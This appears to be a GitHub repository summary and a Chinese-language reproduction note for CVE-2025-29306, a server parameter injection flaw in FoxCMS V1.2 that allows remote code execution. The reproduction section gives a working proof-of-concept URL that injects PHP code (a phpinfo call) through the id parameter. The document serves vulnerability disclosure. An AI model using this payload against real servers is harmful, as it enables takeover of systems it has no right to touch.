somatrasss/cve-2025-29306Proof-of-concept exploit for CVE-2025-29306, a server parameter injection vulnerability in FoxCMS V1.2, enabling remote code execution via crafted HTTP requests. 针对CVE-2025-29306的概念验证漏洞利用程序，该漏洞是FoxCMS V1.2中的服务器参数注入漏洞，可通过精心构造的HTTP请求实现远程代码执行。
FOXCMS黔狐内容管理系统服务参数注入漏洞
一、漏洞简介
FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。
二、漏洞影响
FOXCMS黔狐内容管理系统 V1.2
三、复现过程
POC http://xx/images/index.html?id=%24{%40print(phpinfo())} 输入Poc访问漏洞页面 发现phpinfo命令执行后的信息
